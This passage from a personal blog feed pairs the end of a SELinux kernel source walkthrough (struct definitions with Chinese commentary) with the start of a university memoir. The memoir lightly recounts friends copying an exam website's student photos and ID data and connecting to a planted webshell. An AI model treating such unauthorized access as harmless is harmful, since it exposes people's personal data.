__randomize_layout;</span><br></pre></td></tr></table></figure><p>一个记录SELinux的全局状态的结构体，里面包括了SELinux的开启状态，是否为enforcing模式，是否初始化，规则指针，avc记录缓存指针等信息。</p><h3 id="hooks挂载函数表"><a href="#hooks挂载函数表" class="headerlink" title="hooks挂载函数表"></a>hooks挂载函数表</h3><p>hooks挂载都在hooks.c文件中，把SELinux的检查函数挂载在不同系统调用的安全函数hook点中。</p><p><code>static struct security_hook_list selinux_hooks[] __lsm_ro_after_init</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line">LSM_HOOK_INIT(inode_create, selinux_inode_create),</span><br><span class="line">LSM_HOOK_INIT(inode_link, selinux_inode_link),</span><br><span class="line">LSM_HOOK_INIT(inode_unlink, selinux_inode_unlink),</span><br><span class="line">LSM_HOOK_INIT(inode_symlink, selinux_inode_symlink),</span><br><span class="line">...</span><br></pre></td></tr></table></figure><h3 id="av数据管理"><a href="#av数据管理" class="headerlink" title="av数据管理"></a>av数据管理</h3><p>管理av数据的相关结构体</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">selinux_avc</span> &#123;</span></span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">int</span> avc_cache_threshold;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">avc_cache</span> <span class="title">avc_cache</span>;</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">avc_cache</span> &#123;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">hlist_head</span><span class="title">slots</span>[<span class="title">AVC_CACHE_SLOTS</span>];</span> <span class="comment">/* head for avc_node-&gt;list */</span></span><br><span class="line"><span class="keyword">spinlock_t</span>slots_lock[AVC_CACHE_SLOTS]; <span class="comment">/* lock for writes */</span></span><br><span class="line"><span class="keyword">atomic_t</span>lru_hint;<span class="comment">/* LRU hint for reclaim scan */</span></span><br><span class="line"><span class="keyword">atomic_t</span>active_nodes;</span><br><span class="line">u32latest_notif;<span class="comment">/* latest revocation notification */</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">avc_node</span> &#123;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">avc_entry</span><span class="title">ae</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">hlist_node</span><span class="title">list</span>;</span> <span class="comment">/* anchored in avc_cache-&gt;slots[i] */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">rcu_head</span><span class="title">rhead</span>;</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">avc_entry</span> &#123;</span></span><br><span class="line">u32ssid;</span><br><span class="line">u32tsid;</span><br><span class="line">u16tclass;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">av_decision</span><span class="title">avd</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">avc_xperms_node</span>*<span class="title">xp_node</span>;</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">av_decision</span> &#123;</span></span><br><span class="line">u32 allowed;</span><br><span class="line">u32 auditallow;</span><br><span class="line">u32 auditdeny;</span><br><span class="line">u32 seqno;</span><br><span class="line">u32 flags;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>selinux_avc-&gt;avc_cache.slots是挂着avc_node的list。而avc_code的ae管理着基本的请求源和目标对象的id值，通过这两个id能找到对应的标签，avd则是记录请求的权限。</p><h3 id="策略数据管理"><a href="#策略数据管理" class="headerlink" title="策略数据管理"></a>策略数据管理</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* The policy database */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">policydb</span> &#123;</span></span><br><span class="line"><span class="keyword">int</span> mls_enabled;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* symbol tables */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">symtab</span> <span class="title">symtab</span>[<span class="title">SYM_NUM</span>];</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> p_commons symtab[SYM_COMMONS]</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> p_classes symtab[SYM_CLASSES]</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> p_roles symtab[SYM_ROLES]</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> p_types symtab[SYM_TYPES]</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> p_users symtab[SYM_USERS]</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> p_bools symtab[SYM_BOOLS]</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> p_levels symtab[SYM_LEVELS]</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> p_cats symtab[SYM_CATS]</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* symbol names indexed by (value - 1) */</span></span><br><span class="line"><span class="keyword">char</span>**sym_val_to_name[SYM_NUM];</span><br><span class="line"></span><br><span class="line"><span class="comment">/* class, role, and user attributes indexed by (value - 1) */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">class_datum</span> **<span class="title">class_val_to_struct</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">role_datum</span> **<span class="title">role_val_to_struct</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">user_datum</span> **<span class="title">user_val_to_struct</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">type_datum</span> **<span class="title">type_val_to_struct</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* type enforcement access vectors and transitions */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">avtab</span> <span class="title">te_avtab</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* role transitions */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">hashtab</span> <span class="title">role_tr</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* file transitions with the last path component */</span></span><br><span class="line"><span class="comment">/* quickly exclude lookups when parent ttype has no rules */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ebitmap</span> <span class="title">filename_trans_ttypes</span>;</span></span><br><span class="line"><span class="comment">/* actual set of filename_trans rules */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">hashtab</span> <span class="title">filename_trans</span>;</span></span><br><span class="line"><span class="comment">/* only used if policyvers &lt; POLICYDB_VERSION_COMP_FTRANS */</span></span><br><span class="line">u32 compat_filename_trans_count;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* bools indexed by (value - 1) */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">cond_bool_datum</span> **<span class="title">bool_val_to_struct</span>;</span></span><br><span class="line"><span class="comment">/* type enforcement conditional access vectors and transitions */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">avtab</span> <span class="title">te_cond_avtab</span>;</span></span><br><span class="line"><span class="comment">/* array indexing te_cond_avtab by conditional */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">cond_node</span> *<span class="title">cond_list</span>;</span></span><br><span class="line">u32 cond_list_len;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* role allows */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">role_allow</span> *<span class="title">role_allow</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* security contexts of initial SIDs, unlabeled file systems,</span></span><br><span class="line"><span class="comment">   TCP or UDP port numbers, network interfaces and nodes */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ocontext</span> *<span class="title">ocontexts</span>[<span class="title">OCON_NUM</span>];</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* security contexts for files in filesystems that cannot support</span></span><br><span class="line"><span class="comment">   a persistent label mapping or use another</span></span><br><span class="line"><span class="comment">   fixed labeling behavior. */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">genfs</span> *<span class="title">genfs</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* range transitions table (range_trans_key -&gt; mls_range) */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">hashtab</span> <span class="title">range_tr</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* type -&gt; attribute reverse mapping */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ebitmap</span> *<span class="title">type_attr_map_array</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ebitmap</span> <span class="title">policycaps</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ebitmap</span> <span class="title">permissive_map</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* length of this policy when it was loaded */</span></span><br><span class="line"><span class="keyword">size_t</span> len;</span><br><span class="line"></span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">int</span> policyvers;</span><br><span class="line"></span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">int</span> reject_unknown : <span class="number">1</span>;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">int</span> allow_unknown : <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">u16 process_class;</span><br><span class="line">u32 process_trans_perms;</span><br><span class="line">&#125; __randomize_layout;</span><br></pre></td></tr></table></figure><p>比较关键的成员是两个avtab，里面记录了av相关的数据内容，用于计算访问权限。</p><h3 id="selinuxfs对外接口"><a href="#selinuxfs对外接口" class="headerlink" title="selinuxfs对外接口"></a>selinuxfs对外接口</h3><p>SELinux文件系统的文件接口，用户态通过这些接口与内核功能交互。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="keyword">const</span> <span class="class"><span class="keyword">struct</span> <span class="title">tree_descr</span> <span class="title">selinux_files</span>[] = &#123;</span></span><br><span class="line">[SEL_LOAD] = &#123;<span class="string">"load"</span>, &amp;sel_load_ops, S_IRUSR|S_IWUSR&#125;,</span><br><span class="line">[SEL_ENFORCE] = &#123;<span class="string">"enforce"</span>, &amp;sel_enforce_ops, S_IRUGO|S_IWUSR&#125;,</span><br><span class="line">[SEL_CONTEXT] = &#123;<span class="string">"context"</span>, &amp;transaction_ops, S_IRUGO|S_IWUGO&#125;,</span><br><span class="line">[SEL_ACCESS] = &#123;<span class="string">"access"</span>, &amp;transaction_ops, S_IRUGO|S_IWUGO&#125;,</span><br><span class="line">[SEL_CREATE] = &#123;<span class="string">"create"</span>, &amp;transaction_ops, S_IRUGO|S_IWUGO&#125;,</span><br><span class="line">[SEL_RELABEL] = &#123;<span class="string">"relabel"</span>, &amp;transaction_ops, S_IRUGO|S_IWUGO&#125;,</span><br><span class="line">[SEL_USER] = &#123;<span class="string">"user"</span>, &amp;transaction_ops, S_IRUGO|S_IWUGO&#125;,</span><br><span class="line">[SEL_POLICYVERS] = &#123;<span class="string">"policyvers"</span>, &amp;sel_policyvers_ops, S_IRUGO&#125;,</span><br><span class="line">[SEL_COMMIT_BOOLS] = &#123;<span class="string">"commit_pending_bools"</span>, &amp;sel_commit_bools_ops, S_IWUSR&#125;,</span><br><span class="line">[SEL_MLS] = &#123;<span class="string">"mls"</span>, &amp;sel_mls_ops, S_IRUGO&#125;,</span><br><span class="line">[SEL_DISABLE] = &#123;<span class="string">"disable"</span>, &amp;sel_disable_ops, S_IWUSR&#125;,</span><br><span class="line">[SEL_MEMBER] = &#123;<span class="string">"member"</span>, &amp;transaction_ops, S_IRUGO|S_IWUGO&#125;,</span><br><span class="line">[SEL_CHECKREQPROT] = &#123;<span class="string">"checkreqprot"</span>, &amp;sel_checkreqprot_ops, S_IRUGO|S_IWUSR&#125;,</span><br><span class="line">[SEL_REJECT_UNKNOWN] = &#123;<span class="string">"reject_unknown"</span>, &amp;sel_handle_unknown_ops, S_IRUGO&#125;,</span><br><span class="line">[SEL_DENY_UNKNOWN] = &#123;<span class="string">"deny_unknown"</span>, &amp;sel_handle_unknown_ops, S_IRUGO&#125;,</span><br><span class="line">[SEL_STATUS] = &#123;<span class="string">"status"</span>, &amp;sel_handle_status_ops, S_IRUGO&#125;,</span><br><span class="line">[SEL_POLICY] = &#123;<span class="string">"policy"</span>, &amp;sel_policy_ops, S_IRUGO&#125;,</span><br><span class="line">[SEL_VALIDATE_TRANS] = &#123;<span class="string">"validatetrans"</span>, &amp;sel_transition_ops,</span><br><span class="line">S_IWUGO&#125;,</span><br><span class="line"><span class="comment">/* last one */</span> &#123;<span class="string">""</span>&#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><h3 id="sidtab结构"><a href="#sidtab结构" class="headerlink" title="sidtab结构"></a>sidtab结构</h3><p>记录标签内容和对应sid值，在鉴权过程中可以只通过sid值找到标签。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sidtab_entry</span> &#123;</span></span><br><span class="line">u32 sid;</span><br><span class="line">u32 hash;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">context</span> <span class="title">context</span>;</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">if</span> CONFIG_SECURITY_SELINUX_SID2STR_CACHE_SIZE &gt; 0</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sidtab_str_cache</span> __<span class="title">rcu</span> *<span class="title">cache</span>;</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">hlist_node</span> <span class="title">list</span>;</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">union</span> sidtab_entry_inner &#123;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sidtab_node_inner</span> *<span class="title">ptr_inner</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sidtab_node_leaf</span>  *<span class="title">ptr_leaf</span>;</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sidtab_node_leaf</span> &#123;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sidtab_entry</span> <span class="title">entries</span>[<span class="title">SIDTAB_LEAF_ENTRIES</span>];</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sidtab_node_inner</span> &#123;</span></span><br><span class="line"><span class="keyword">union</span> sidtab_entry_inner entries[SIDTAB_INNER_ENTRIES];</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sidtab_isid_entry</span> &#123;</span></span><br><span class="line"><span class="keyword">int</span> <span class="built_in">set</span>;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sidtab_entry</span> <span class="title">entry</span>;</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sidtab_convert_params</span> &#123;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">convert_context_args</span> *<span class="title">args</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sidtab</span> *<span class="title">target</span>;</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sidtab</span> &#123;</span></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * lock-free read access only for as many items as a prior read of</span></span><br><span class="line"><span class="comment"> * 'count'</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">union</span> sidtab_entry_inner roots[SIDTAB_MAX_LEVEL + <span class="number">1</span>];</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * access atomically via &#123;READ|WRITE&#125;_ONCE(); only increment under</span></span><br><span class="line"><span class="comment"> * spinlock</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line">u32 count;</span><br><span class="line"><span class="comment">/* access only under spinlock */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sidtab_convert_params</span> *<span class="title">convert</span>;</span></span><br><span class="line"><span class="keyword">bool</span> frozen;</span><br><span class="line"><span class="keyword">spinlock_t</span> lock;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">if</span> CONFIG_SECURITY_SELINUX_SID2STR_CACHE_SIZE &gt; 0</span></span><br><span class="line"><span class="comment">/* SID -&gt; context string cache */</span></span><br><span class="line">u32 cache_free_slots;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">list_head</span> <span class="title">cache_lru_list</span>;</span></span><br><span class="line"><span class="keyword">spinlock_t</span> cache_lock;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* index == SID - 1 (no entry for SECSID_NULL) */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sidtab_isid_entry</span> <span class="title">isids</span>[<span class="title">SECINITSID_NUM</span>];</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Hash table for fast reverse context-to-sid lookups. */</span></span><br><span class="line">DECLARE_HASHTABLE(context_to_sid, SIDTAB_HASH_BITS);</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;为了更加熟悉SELinux，针对这个安全机制的源码部分做了一些梳理，结合了官方的指南丰富了其中的源码实现细节。SELinux博大精深，这篇讲述该机制的内核部分实现，包括贯穿整个机制的两个核心——对系统行为的检查以及标签的转换，以及比较核心的数据和接口。&lt;/p&gt;
&lt;p&gt;备注：
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="SELinux" scheme="https://hurricane618.me/tags/SELinux/"/>
    
      <category term="源码分析" scheme="https://hurricane618.me/tags/%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90/"/>
    
  </entry>
  
  <entry>
    <title>我的人生七年（一）</title>
    <link href="https://hurricane618.me/2022/11/27/seven-years-of-my-life1/"/>
    <id>https://hurricane618.me/2022/11/27/seven-years-of-my-life1/</id>
    <published>2022-11-27T14:56:11.000Z</published>
    <updated>2022-12-19T16:11:20.730Z</updated>
    
    <content type="html"><![CDATA[<p>距离研究生毕业已经过了4个多月，在这个国庆节期间遇见了很多老同学，包括高中和大学同学，感觉到过了这么几年每个人的人生轨迹都发生了翻天覆地的变化，我想也是时候对自己第一个“人生七年”做个总结，想把这些珍贵的内容记录下来，或许多年之后再次回看会别有一番滋味在心头。至于为什么我说是自己的第一个“人生七年”，这七年是我大学本科四年加上研究生三年的时光，没有提起小学中学是因为我觉得那段时间个人能掌控的并不多，很多抉择都是被家长代替选择或者逼着选的，只有从这七年开始大部分决定都是由我个人做出，这是人生真正的开始。希望这个系列我以后能一直更新下去，每七年做一次总结，为自己的人生做复盘，至于为什么是七年为周期，可能是受到纪录片《人生七年》的影响吧。</p><h2 id="大一"><a href="#大一" class="headerlink" title="大一"></a>大一</h2><p>初入大学，所有的一切都是那么的新鲜，尝试了很多原来未曾想过的东西。</p><p>最开始的我对学生会抱有幻想，还去尝试竞选啥啥创新部，结果被大二的学长问南桥和北桥哪个离CPU更近。。。内心OS：拜托，我才刚进校几天，你这是在刁难我吧。从那一刻就对学生会有不好的印象，最后的结果也是我没入选，但从现在的角度来看，这是我的幸运，学生会的经历对我读研和之前的秋招找工作没任何帮助，而另外一位学长和我说过学生会内部的腐朽和中国官场如出一辙。</p><p>参加了羽毛球协会，并且成为了财务部的一员，虽然打的菜但还是在积极参与活动。其中记忆犹新的一次是组团去西财参加联谊，我和另外一个男生与两个女生组合打混双，大家就这样打了一下午的养生球。晚上拿到了西财的一张明信片，吃了一顿火锅就这样结束了。后来有人问我为什么不要微信或者qq，我还愣了好久，想了想自己当时的状态，初入大学完全没有这方面的想法，要女生联系方式？不存在的。</p><p>当时为了解决英语的短板，听信了某个名为EGT的教育机构报名了它们的初级和高级课程。单纯的我以为只要经过了这几天的培训，英语就能完成一个突破，但事实就在眼前，将我的yy打得稀碎，最后终于顿悟像英语这样的语言技能不可能仅通过几天就有质的变化，需要长期的积累才能看出效果。现在回看这一段经历，感觉到自己过去对自身英语水平迫切的提升需求被他人所利用，以后应当更加理性的思考学习的事情，想要提升自己不是一朝一夕就能做到，持续不断的积累和练习才是关键。想想当初为了参加这个EGT的宣讲，错过了CNSS的宣讲简直太可惜了。</p><p>后续一段时间开始加入早读队，这个早读队也是有点说法的东西，同时也是EGT的恶性毒药之一。当时受到EGT的鼓动，开始幻想着通过早读的方式提升自己，我依稀记得早上6点40起床的日子，因为成电本身7点半还有早自习，所以起床之后只有大约40分钟左右的时间可以拿出来做多余的事情。我们当时主要的活动有晨跑，早读英语，个人分享等内容，这一顿折腾下来搞得我在之后的专业课上精力涣散，学习效率大幅度下降。我也是最早一批意识到这个问题的人之一，这样的早读简直是因小失大，颠倒主次，在整个计划实施快2个月之后我选择退出。现在复盘想想，我当时的决定还是很正确的，没有因为强制早起而毁掉之后的大学生活。（暴论：晚起毁上午，早起傻一天，是真理！！！）</p><h2 id="大二"><a href="#大二" class="headerlink" title="大二"></a>大二</h2><p>大二的我开始找到努力的方向，不再有大一的迷茫。</p><p>在大二上学期的时候了解到了CTF，在那个远古时期并没有特别多的CTF资源，能刷的OJ也特别稀少，印象比较深的南邮OJ，bugku，实验吧，里面都是十分经典的题目类型，从中学习到了最基本的CTF技术。当时还是web狗的我了解到了抓包，看js脚本，学习SQL注入和php黑魔法，从此打开了CTF的大门，不过依旧是个小辣鸡。</p><p>三教405是整个大学最充满回忆的地方之一，在接触到CTF之后我被donot召集到了三教405——Aegis工作室的发源地，在这里我们一起刷CTF题，一起学习web安全，一起畅聊攻防技术，以及搞一些骚操作。记忆犹新的是当时林师傅把四六级网站的数据拖了下来，在本地存了一份，23333，我们得以见到全校同学的照片和身份证。甚至我们还在某处发现了创始人落神的webshell，当时居然还连上了🤣。除了这些事情，也有一些要吐槽的东西，三教405的老鼠是真的一绝，吃的东西绝对不能放在那里，不然第二天你将会看到凌乱的桌面。最后还是我的学弟小飞鸽，搞了个捕鼠笼，抓到了这只可恶的老鼠。</p><p>大二的时候学院搞了一个类似于立人班的卓中卓班级，整体偏工程导向，立志培养出卓越中的卓越（学院的日常画饼）。结果最后也没搞出什么名堂，不过倒是有一些收获：1）认识了一些人，xmj，17，wj，zx；2）做了一个比较有意义的知乎社交网络爬虫，Python的技能成为以后不可或缺的能力之一；3）为之后的实习牵了一条线（虽然感觉有点坑）。卓中卓的额外彩蛋，我的一个研究生同学胡爷也在这里。</p><p>第一次实习去了安恒的成都分公司，幻想着从此就能开始走向安全的大门，结果很是失望，安恒的成都分公司居然没有做安全的人。。。之后就是我和17还有一个凝聚大佬wind一起，三个人在那里调试网络，记录文档，唯一的好处是我学到了不少计算机网络的知识。实习中的趣事，我新建的虚拟机由于搞成了闭环网络，还没开启生成树协议，导致了网络风暴最后把网络搞炸了，但不知道为啥这个事情居然传遍了整个网安专业。</p><h2 id="大三"><a href="#大三" class="headerlink" 